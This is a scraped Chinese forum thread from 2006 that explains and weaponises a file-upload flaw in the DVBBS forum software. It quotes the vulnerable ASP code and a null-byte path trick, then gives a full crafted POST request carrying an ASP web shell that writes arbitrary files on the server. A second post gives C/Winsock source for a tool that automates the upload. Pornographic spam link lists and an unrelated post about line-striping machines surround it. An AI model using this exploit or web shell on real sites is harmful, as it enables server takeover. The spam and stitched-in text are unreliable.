欧美激情精品在线_久久人人爽人人爽爽久久_亚洲最大激情中文字幕_久久国产精品 国产精品

Rss & SiteMap

通信圈 http://www.ydtdhmb.com/bbs

通信圈,中國通信門戶,是通信界最權威的通信論壇,提供通信新聞資訊、通信技術、產品、增值業務、解決方案等多種服務。
共3 條記錄, 每頁顯示 30 條, 頁簽: [1]
[瀏覽完整版]

標題:動網論壇上傳文件漏洞的原理以及攻擊的代碼實現

1樓
新月彎刀 發表于:2006/10/18 12:00:33
最近一段時間比較忙,沒什么時間為組織做貢獻(實在是沒實力,呵呵).剛好前一段時間聽小豬(豬蛋兒的《目前流行的BBS安全性比較》一文請參閱:http://wvw.ttian.net/forum/viewtopic.php?id=269)說動網論壇出了一個上傳任意文件的漏洞,當時沒怎么明白.但是我看到最近NB論壇上全部都在討論有關這方面的問題,就研究了一下,發現這個漏洞確實存在,而且非常嚴重,用小豬的話說是DVBBS7.0 SP2以下通殺.雖然有些人已經知道了攻擊方法,但是還是存在一些問題.下面我就動網的這個漏洞做一下講解.(不知道會不會被人罵,因為這個漏洞實在太大了). 我們先看一下動網論壇上傳文件的相關代碼: '===========無組件上傳(upload_0)==================== sub upload_0() set upload=new UpFile_Class ''建立上傳對象 upload.GetDate (int(Forum_Setting(56))*1024) '取得上傳數據,不限大小 iCount=0 if upload.err > 0 then select case upload.err case 1 Response.Write "請先選擇你要上傳的文件 [ <a href=# onclick=history.go(-1)>重新上傳</a> ]" case 2 Response.Write "圖片大小超過了限制 "&Forum_Setting(56)&"K [ <a href=# onclick=history.go(-1)>重新上傳</a> ]" end select exit sub else formPath=upload.form("filepath") ''在目錄后加(/) if right(formPath,1)<>"/" then formPath=formPath&"/" for each formName in upload.file ''列出所有上傳了的文件 set file=upload.file(formName) ''生成一個文件對象 if file.filesize<100 then response.write "請先選擇你要上傳的圖片 [ <a href=# onclick=history.go(-1)>重新上傳</a> ]" response.end end if fileExt=lcase(file.FileExt) if CheckFileExt(fileEXT)=false then response.write "文件格式不正確 [ <a href=# onclick=history.go(-1)>重新上傳</a> ]" response.end end if randomize ranNum=int(90000*rnd)+10000 filename=formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt if file.FileSize>0 then ''如果 FileSize > 0 說明有文件數據 file.SaveToFile Server.mappath(filename) ''保存文件 ' response.write file.FilePath&file.FileName&" ("&file.FileSize&") => "&formPath&File.FileName&" 成功!<br>" response.write "<script>parent.document.forms[0].myface.value='"&FileName&"'</script>" iCount=iCount+1 end if set file=nothing next set upload=nothing session("upface")="done" Htmend iCount&" 個文件上傳結束!" end if end sub 在上面代碼中可以看到這樣一句: filename=formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt 這里,filename是保存的文件名,它是依照上傳時間來命名的,最后擴展名是表單中提交過來的文件的擴展名.但是程序中對提交文件的類型做了限制,顯然想直接上傳ASP文件是不可行的.但是我們來看一下做為后輟的依據從哪里來的呢?我們可以在reg_upload.asp中找到這樣的代碼: <form name="form" method="post" action="upfile.asp" enctype="multipart/form-data" > <input type="hidden" name="filepath" value="uploadFace"> <input type="hidden" name="act" value="upload"> <input type="file" name="file1"> <input type="hidden" name="fname"> <input type="submit" name="Submit" value="上傳" onclick="fname.value=file1.value,parent.document.forms[0].Submit.disabled=true, parent.document.forms[0].Submit2.disabled=true;"> </form> 這樣,我們知道了,程序是提取file1表單和fname表單中的值來做判斷的.也就是說直接從頁面遞交我們的ASP文件也是行不通了,但是,如果是我們自己構造數據包的話就不一樣了.欲望之翼提出的方法就是自已構造數據包來達到欺騙的目的.將提交的file1表單和fname表單項的值改成合法的文件名稱.這樣就可以繞過文件類型的檢測了. 當然,主要的問題不在這里,如果我們只是要上傳那些代碼的話,我們完全可以直接改文件名就好了.我們的目的是要讓我們上傳的文件名改成ASP,這樣我們才可以利用.關鍵就在這一句了: formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt 這句話將一段字符串合并起來.我們能改的就是formPath這個參數.在計算機中檢測字符串的關鍵就是看是否碰到'\0'字符,如果是,則認為字符串結束了.也就是說我們在構造上傳文件保存路徑時,只要欺騙計算機,讓他認為類似"uploadface\zwell.asp"這樣的路徑參數已經結束了,這樣,后面一連串的時間字符我們都可以不要,從而達到直接將文件保存為我們定義的文件名的目的.因些,我們要做的是在構造的數據包中,將表單中的filepath改成類似uploadface\zwell.asp'\0'的字符串然后發送出去就行了. 我們先來看一下數據包的格式(論壇上好像大家用的是WSockExpert,不過我用的是IRIS,我覺得更專業一點,^_^): POST /forum/upfile.asp HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */* Referer: http://192.168.10.101/a.asp?a=http://uyee.com/forum/upfile.asp Accept-Language: zh-cn Content-Type: multipart/form-data; boundary=---------------------------7d4a325500d2 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; MyIE2; .NET CLR 1.1.4322; .NET CLR 1.0.3705) Host: uyee.com Content-Length: 1593 Connection: Keep-Alive Cache-Control: no-cache Cookie: ASPSESSIONIDQCAQBAQT=NBDJCEFCMIICLJBJKHKMHJEF -----------------------------7d4a325500d2 Content-Disposition: form-data; name="filepath" uploadFace\zwell.asp -----------------------------7d4a325500d2 Content-Disposition: form-data; name="act" upload -----------------------------7d4a325500d2 Content-Disposition: form-data; name="file1"; filename="C:\1.gif" Content-Type: text/plain <%dim objFSO%> <%dim fdata%> <%dim objCountFile%> <%on error resume next%> <%Set objFSO = Server.CreateObject("Scripting.FileSystemObject")%> <%if Trim(request("syfdpath"))<>"" then%> <%fdata = request("cyfddata")%> <%Set objCountFile=objFSO.CreateTextFile(request("syfdpath"),True)%> <%objCountFile.Write fdata%> <%if err =0 then%> <%response.write "<font color=red>save Success!</font>"%> <%else%> <%response.write "<font color=red>Save UnSuccess!</font>"%> <%end if%> <%err.clear%> <%end if%> <%objCountFile.Close%> <%Set objCountFile=Nothing%> <%Set objFSO = Nothing%> <%Response.write "<form action='''' method=post>"%> <%Response.Write "<input type=text name=syfdpath width=32 size=50>"%> <%Response.Write "<br>"%> <%=server.mappath(Request.ServerVariables("SCRIPT_NAME"))%> <%Response.write "<br>"%> <%Response.write "<textarea name=cyfddata cols=80 rows=10 width=32></textarea>"%> <%Response.write "<input type=submit value=save>"%> <%Response.write "</form>"%> -----------------------------7d4a325500d2 Content-Disposition: form-data; name="fname" C:\1.gif -----------------------------7d4a325500d2 Content-Disposition: form-data; name="Submit" 上傳 -----------------------------7d4a325500d2-- 上面的數據我是在WIN2003下調試的.按我前面講的,只要改幾個地方就好了 1.Content-Disposition: form-data; name="file1"; filename="C:\1.gif" 2.Content-Disposition: form-data; name="fname" C:\1.gif 3.最重要的地方:uploadFace\zwell.asp,怎么加一個空字符呢?用UltraEdit是個好方法,用16進制編輯,(因為'\0'這個字符也占一個位置,所以我們先打入一空格,然后再在UltraEdit里將對就空格符的20改成00). 至于,最前面的那一段,直接從抓包工具中提取就是了.而且隨便一個都行.但是最重要的是要注意這一句: Content-Length: 1593 很多人測試都沒成功,就因為這個值設的不對,其實這個值很好算,是從第一個"-----------------------------7d4a325500d2"開始算起,到"-----------------------------7d4a325500d2--\r\n\r\n"截止,大家看到的"\r\n"是起換行作用,占兩個字符.我看論壇上大家論壇時都是說加一個字符值就加一,不是說不對,只是還要這樣數,代碼短倒無所謂,代碼要是很長怎么辦呢?:),這里告訴大家一個簡單的方法:打開記事本,將算長度的代碼復制到記事本,保存,然后看屬性就一目了然了,一個字符都不會錯.只是有一點必須注意,必須將最后的那幾個換行也復制進來.很多人就是因為沒有復制換行才失敗的.
2樓
新月彎刀 發表于:2006/10/18 12:00:52
寫了這么多,我們也看到,每一個這樣改太不方便,做了工具是必須的了,呵呵,具體不多說了,部分代碼如下: #include <winsock2.h> #include <stdio.h> #include "Resource.h" #pragma comment(lib,"ws2_32.lib") HINSTANCE g_hInst; HWND g_hWnd; HWND m_up; HWND m_host; HWND m_webpath; HWND m_path; HWND m_filename; HWND m_upload; DWORD m_theadid; BYTE sendbuf[10000]; char host[80]; //主機地址 char bbspath[50]; //論壇地址 char uppath[20]; //上傳目錄 char upfilename[50]; //上傳文件名 char upfiledata[8000]; //上傳文件內容 int sendsize; //總傳送數據大小 int realsndsize = 0; //傳送頁面文件的大小 char snddata[8000]; char mm[1000]= "<%dim objFSO%>\r\n" "<%dim fdata%>\r\n" "<%dim objCountFile%>\r\n" "<%on error resume next%>\r\n" "<%Set objFSO = Server.CreateObject(\"Scripting.FileSystemObject\")%>\r\n" "<%if Trim(request(\"syfdpath\"))<>\"\" then%>\r\n" "<%fdata = request(\"cyfddata\")%>\r\n" "<%Set objCountFile=objFSO.CreateTextFile(request(\"syfdpath\"),True)%>\r\n" "<%objCountFile.Write fdata%>\r\n" "<%if err =0 then%>\r\n" "<%response.write \"<font color=red>save Success!</font>\"%>\r\n" "<%else%>" "<%response.write \"<font color=red>Save UnSuccess!</font>\"%>\r\n" "<%end if%>\r\n" "<%err.clear%>\r\n" "<%end if%>" "<%objCountFile.Close%>\r\n" "<%Set objCountFile=Nothing%>\r\n" "<%Set objFSO = Nothing%>" "<%Response.write \"<form action=\'\' method=post>\"%>\r\n" "<%Response.Write \"<input type=text name=syfdpath width=32 size=50>\"%>\r\n" "<%Response.Write \"<br>\"%>\r\n" "<%=server.mappath(Request.ServerVariables(\"SCRIPT_NAME\"))%>\r\n" "<%Response.write \"<br>\"%>\r\n" "<%Response.write \"<textarea name=cyfddata cols=80 rows=10 width=32></textarea>\"%>\r\n" "<%Response.write \"<input type=submit value=save>\"%>\r\n" "<%Response.write \"</form>\"%>\r\n"; //獲得控件文本 char *gettext(HWND chwnd) { char tmpbuf[10000]; SendMessage(chwnd, WM_GETTEXT, (WPARAM)sizeof(tmpbuf), (LPARAM)tmpbuf); return tmpbuf; } //設置控件文本 void settext(HWND chwnd,char *text) { SendMessage(chwnd, WM_SETTEXT, (WPARAM)(0), (LPARAM)text); } char *itos(int data) { char tmp[10]; sprintf(tmp, "%d", data); return tmp; } //上傳線程 DWORD WINAPI uploadthread(LPVOID param) { SOCKET s; sockaddr_in sin; struct hostent * hp; unsigned int addr; s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); ZeroMemory((void *)&sin, sizeof(sin)); hp = gethostbyname(gettext(m_host)); if (!hp) addr = inet_addr(gettext(m_host)); if ((!hp) && (addr == INADDR_NONE) ) { MessageBox(g_hWnd, "Unable to resolve host", "sendbuf", MB_OK); return 0; } if (hp != NULL) memcpy(&(sin.sin_addr),hp->h_addr,hp->h_length); else sin.sin_addr.s_addr = addr; sin.sin_port = htons(80); sin.sin_family = AF_INET; strcpy(host, gettext(m_host)); strcpy(bbspath, gettext(m_webpath)); strcpy(upfiledata, gettext(m_upload)); strcpy(uppath, gettext(m_path)); strcpy(upfilename, gettext(m_filename)); realsndsize = 578 + strlen(uppath) + strlen(upfilename) + strlen(upfiledata) + 1; sprintf((char *)sendbuf, "POST %s/upfile.asp HTTP/1.1\r\n" "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n" "Referer: http://192.168.10.101/a.asp?a=http://uyee.com/forum/upfile.asp\r\n" "Accept-Language: zh-cn\r\n" "Content-Type: multipart/form-data; boundary=---------------------------7d4a325500d2\r\n" "Accept-Encoding: gzip, deflate\r\n" "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; MyIE2; .NET CLR 1.1.4322; .NET CLR 1.0.3705)\r\n" "Host: %s\r\n" "Content-Length: %d\r\n" "Connection: Keep-Alive\r\n" "Cache-Control: no-cache\r\n" "Cookie: iscookies=0; BoardList=BoardID=Show; ASPSESSIONIDQCAQBAQT=NBDJCEFCMIICLJBJKHKMHJEF\r\n\r\n" "-----------------------------7d4a325500d2\r\n" "Content-Disposition: form-data; name=\"filepath\"\r\n\r\n" "%s\\%s", bbspath, host, realsndsize, uppath, upfilename); sendsize = strlen((char *)sendbuf); sendbuf[sendsize] = '\0'; sprintf(snddata, "\r\n" "-----------------------------7d4a325500d2\r\n" "Content-Disposition: form-data; name=\"act\"\r\n\r\n" "upload\r\n" "-----------------------------7d4a325500d2\r\n" "Content-Disposition: form-data; name=\"file1\"; filename=\"C:\\1.gif\"\r\n" "Content-Type: text/plain\r\n\r\n" "%s\r\n" "-----------------------------7d4a325500d2\r\n" "Content-Disposition: form-data; name=\"fname\"\r\n\r\n" "C:\\1.gif\r\n" "-----------------------------7d4a325500d2\r\n" "Content-Disposition: form-data; name=\"Submit\"\r\n\r\n" "上傳\r\n" "-----------------------------7d4a325500d2--\r\n\r\n", upfiledata); strcat((char *)&sendbuf[sendsize+1], snddata); sendsize += strlen(snddata); sendsize += 1; if(SOCKET_ERROR == connect(s, (struct sockaddr *)&sin, sizeof(sin))) { MessageBox(g_hWnd, "連接出錯!", "出錯提示:", MB_OK|MB_IConERROR); return 0; } int sendsz = send(s, (char *)sendbuf, sendsize, 0); if(sendsz <= 0) MessageBox(g_hWnd, "發送數據失敗", itos(WSAGetLastError()), MB_OK); char recvbuf[10000]; recv(s, (char*)recvbuf, 10000, 0); settext(m_upload, recvbuf); closesocket(s); return 0; } void WINAPI On_Command(WPARAM wParam) { switch (LOWORD(wParam)) { case ID_UP: CreateThread(NULL, 0, uploadthread, NULL, NULL, &m_theadid); break; case IDCANCEL: SendMessage(g_hWnd, WM_CLOSE, (WPARAM)(NULL), LPARAM(NULL)); break; } } static BOOL CALLBACK MainDlgProc(HWND hWndDlg, UINT msg, WPARAM wParam, LPARAM lParam) { switch (msg) { case WM_INITDIALOG: g_hWnd = hWndDlg; m_up = GetDlgItem(g_hWnd, ID_UP); m_host = GetDlgItem(g_hWnd, IDC_EDIT1); m_webpath = GetDlgItem(g_hWnd, IDC_EDIT2); m_path = GetDlgItem(g_hWnd, IDC_EDIT3); m_upload = GetDlgItem(g_hWnd, IDC_EDIT4); m_filename = GetDlgItem(g_hWnd, IDC_EDIT5); settext(m_host, "192.168.10.101"); settext(m_webpath, "/"); settext(m_path, "uploadface"); settext(m_filename, "zwell.asp"); settext(m_upload, mm); return TRUE; case WM_COMMAND: On_Command(wParam); break; case WM_SIZE: break; case WM_CLOSE: EndDialog(g_hWnd,0); break; } return FALSE; } int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { WSADATA wsaData; g_hInst=hInstance; if(WSAStartup(MAKEWORD(1, 1), &wsaData)) { MessageBox(NULL,"無法初始化 Winsock DLL\t","錯誤",MB_OK|MB_ICONSTOP); return 0; } DialogBox(g_hInst, MAKEINTRESOURCE(IDD_DIALOG1), NULL, (DLGPROC) MainDlgProc); WSACleanup(); return 1; }
3樓
山雨夜來漲 發表于:2010/12/27 17:53:12
Striping machines are used to paint lines on a variety of surfaces. They are commonly used on pavement to mark parking lots, roads and airports as well as on grass or dirt for sports fields. Striping machines basically consist of a small engine, an air compressor, the spray nozzle and a series of valves and hoses including one for paint intake. There is frequently a hose ranging from 25 to 50 feet on average that is attached to a separate spray gun similar to the kind found in spray painting equipment that is used for stencils or touch ups. Wheels, a handle and a trigger allow the operator to control the direction of the machine and the force of the paint spray. Most striping machines are pushed by the operator because that increases the amount of control and precision the operator has; self-propelled striping machines or ride-on striping machines are available for large areas. The frame is made from metal and is typically heavy duty stainless steel to resist harsh solvents and corrosion. Some models of striping machines have dashboards that light up for nighttime use. Centralized controls, filters, hose wraps and other accessories help facilitate high productivity for a fast and clean job. Striping machines are generally used by companies that specialize in laying asphalt, sealing cracks and other pavement issues rather than businesses that have paint machines or systems.
共3 條記錄, 每頁顯示 30 條, 頁簽: [1]


Powered By Dvbbs Version 8.3.0
Processed in .04297 s, 3 queries.
欧美激情精品在线_久久人人爽人人爽爽久久_亚洲最大激情中文字幕_久久国产精品 国产精品
97欧美精品一区二区三区| 亚洲精品国产精品国自产观看| 欧美xxxx做受欧美| 欧洲成人一区二区| 国产成人综合一区| 亚洲视频电影| 豆国产97在线| 国产99久久九九精品无码| 国产在线精品成人一区二区三区| 日韩在线小视频| 日韩av不卡电影| 国产成人精品久久| 日本一区二区三区www| 国产精品2018| 涩涩日韩在线| 久久精品国产一区二区三区日韩| 欧美精品九九久久| 国产欧美日韩网站| 欧美激情精品久久久久久变态| 国产主播精品在线| 欧美精品免费在线| 国产欧美日韩综合精品| 欧美日韩xxx| 国产精品一级久久久| 欧美精品国产精品日韩精品| 高清无码视频直接看| 欧美激情精品久久久久久蜜臀| 国产日韩欧美视频在线| 美日韩精品免费观看视频| 精品视频第一区| 欧美激情视频在线观看| 国产伦精品一区二区三区四区视频| 国产精品裸体一区二区三区| 国产在线精品一区| 一级一片免费播放| 国产成人激情视频| 国内揄拍国内精品| 国产精品成人v| 国产精品亚洲不卡a| 天堂资源在线亚洲视频| 色婷婷综合成人av| 国内精品中文字幕| 亚洲一区影院| 久久久久中文字幕| 精品视频一区二区| 亚洲自拍的二区三区| 国产成人一区二区三区电影| 日韩精品免费播放| 国产精品国语对白| 91久色国产| 欧美一区二视频在线免费观看| 不卡av电影院| 久久另类ts人妖一区二区| 欧美激情专区| 亚洲影影院av| 久久久久久久国产精品视频| 精品欧美日韩| 亚洲不卡中文字幕无码| 日韩中文字幕av| 国产亚洲精品自在久久| 亚洲乱码一区二区三区三上悠亚 | 99久久精品久久久久久ai换脸| 日韩欧美一区二区三区四区五区| 国产精品私拍pans大尺度在线| 国产乱肥老妇国产一区二| 日韩视频第二页| 色中色综合影院手机版在线观看| 国产成人一区二区三区别| 国产一区二区在线观看免费播放| 色综合电影网| 久久中文字幕在线| 国产成人在线一区二区| 国产日韩欧美中文在线播放| 日韩av播放器| 精品国产乱码久久久久久郑州公司 | 国产成人精品久久二区二区 | 少妇精69xxtheporn| 成人免费毛片播放| 狠狠色狠狠色综合人人| 日本亚洲欧洲色α| 在线精品日韩| 久久精品国产一区二区电影| av免费精品一区二区三区| 好吊色欧美一区二区三区视频 | 国产精品区一区二区三含羞草| 久久久伊人欧美| 国产伦精品免费视频| 精品欧美日韩在线| 日本成人中文字幕在线| 亚洲影院色在线观看免费| 免费97视频在线精品国自产拍| 国产福利片一区二区| 国产精品一国产精品最新章节| 黄色国产一级视频| 欧美中日韩免费视频| 日韩av电影免费播放| 亚洲一区二区三区免费看| 欧美精品一本久久男人的天堂| 日韩少妇与小伙激情| 国产成人亚洲综合| 91精品国产沙发| av免费精品一区二区三区| 国产偷人视频免费| 国产综合中文字幕| 蜜桃精品久久久久久久免费影院 | 精品国偷自产在线视频99| 国产成人一二三区| 久久久之久亚州精品露出| 97精品视频在线播放| av资源一区二区| 成人国产精品久久久久久亚洲| 国产男女免费视频| 国产拍精品一二三| 国产人妻互换一区二区| 国产中文字幕日韩| 国产在线视频欧美一区二区三区| 热99精品只有里视频精品| 日本免费在线精品| 日韩欧美手机在线| 日韩欧美精品在线观看视频| 日韩小视频在线播放| 日韩欧美精品一区二区三区经典 | 美女被啪啪一区二区| 国产午夜福利视频在线观看| 国产日韩欧美夫妻视频在线观看| 国产专区一区二区| 国产精品自拍偷拍视频| 国产精品一区二区在线| 国产欧美日韩精品在线观看| 国产在线观看精品| 国产精品有限公司| 97碰在线观看| 国产a级片网站| 久久视频国产精品免费视频在线| 国产精品视频中文字幕91| 国产精品美女免费看| 久久夜色撩人精品| 欧美激情a∨在线视频播放| 亚洲字幕在线观看| 日本中文字幕不卡免费| 青春草在线视频免费观看| 国产精品久久久久aaaa九色| 国产精品久久久久久久久粉嫩av| 日韩天堂在线视频| 久久久999成人| 日韩亚洲国产中文字幕| 北条麻妃一区二区三区中文字幕 | 欧美伊久线香蕉线新在线| 欧美精品久久久久久久自慰| 国产原创精品| 99久久精品免费看国产四区| 久久免费视频3| 国产成人三级视频| 欧美日本中文字幕| 少妇久久久久久被弄到高潮| 欧美性视频在线播放| 国产综合色一区二区三区| 97免费中文视频在线观看| 色伦专区97中文字幕| 精品久久久久久无码国产| 亚洲一区三区电影在线观看| 日韩精品第1页| 国产欧美综合一区| 久久久99爱| 国产精品久久久久久久7电影| 中文字幕一区二区三区乱码| 日本国产在线播放| 国产亚洲欧美一区二区| 久久偷窥视频| 国产精品成人久久久久| 亚洲精品日韩在线观看| 欧美在线一区二区三区四区| 国产一区二区三区精彩视频| 国产精品18毛片一区二区| 国产精品久久久影院| 偷拍盗摄高潮叫床对白清晰| 欧美精品卡一卡二| 国产精品a久久久久久| 欧美大片欧美激情性色a∨久久 | 国产精品一区二区免费看| 国产福利精品视频| 精品免费二区三区三区高中清不卡| 亚洲丰满在线| 国产一区二区网| 久久波多野结衣| 亚洲视频在线观看日本a| 国内精品久久久久久中文字幕| 久久人人爽人人| 中文字幕av导航| 女女同性女同一区二区三区按摩| 高清无码视频直接看| 播播国产欧美激情| 亚洲精品免费网站| 国产日韩欧美电影在线观看| 日韩在线视频国产| 亚洲 高清 成人 动漫| 国产日产欧美视频| 国产精品欧美一区二区三区奶水| 色乱码一区二区三区熟女| 国产欧美一区二区三区久久人妖|